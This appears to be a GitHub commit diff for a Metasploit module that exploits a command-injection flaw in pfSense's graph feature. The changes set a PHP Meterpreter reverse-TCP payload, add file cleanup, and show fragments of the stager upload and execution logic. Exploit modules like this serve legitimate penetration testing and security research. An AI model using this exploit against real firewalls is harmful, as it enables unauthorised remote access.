Skip to content

Commit 16d709f

Browse files
committed
changes+filedropper
1 parent 8f0e41e commit 16d709f

File tree

1 file changed

+20
-9
lines changed

1 file changed

+20
-9
lines changed

modules/exploits/unix/http/pfsense_graph_injection_exec.rb

Lines changed: 20 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88

99
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
1011

1112
def initialize(info = {})
1213
super(
@@ -33,18 +34,27 @@ def initialize(info = {})
3334
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
3435
],
3536
'License' => MSF_LICENSE,
36-
'Privileged' => true,
37+
'Platform' => 'php',
38+
'Privileged' => 'true',
3739
'DefaultOptions' =>
3840
{
39-
'SSL' => true,
40-
'Encoder' => 'php/base64',
41-
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
41+
'SSL' => true,
42+
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
43+
'Encoder' => 'php/base64'
4244
},
43-
'DisclosureDate' => 'Apr 18, 2016',
44-
'Platform' => 'php',
45-
'Arch' => ARCH_PHP,
46-
'Targets' => [[ 'Automatic Target', { }]],
45+
'Arch' => [ ARCH_PHP ],
46+
'Payload' =>
47+
{
48+
'Space' => 6000,
49+
'Compat' =>
50+
{
51+
'Arch' => 'php',
52+
'ConnectionType' => '-bind',
53+
}
54+
},
55+
'Targets' => [[ 'Automatic Target', {} ]],
4756
'DefaultTarget' => 0,
57+
'DisclosureDate' => 'Apr 18, 2016',
4858
)
4959
)
5060

@@ -115,7 +125,7 @@ def exploit
115125
begin
116126
cookie = login
117127
version = detect_version(cookie)
118-
filename = rand_text_alpha(rand(10))
128+
filename = rand_text_alpha(rand(1..10))
119129

120130
# generate the PHP meterpreter payload
121131
stager = 'echo \'<?php '
@@ -144,6 +154,7 @@ def exploit
144154

145155
if res && res.code == 200
146156
print_status('Payload uploaded successfully, executing')
157+
register_file_for_cleanup(filename)
147158
else
148159
print_error('Failed to upload payload...')
149160
end

0 commit comments

Comments
 (0)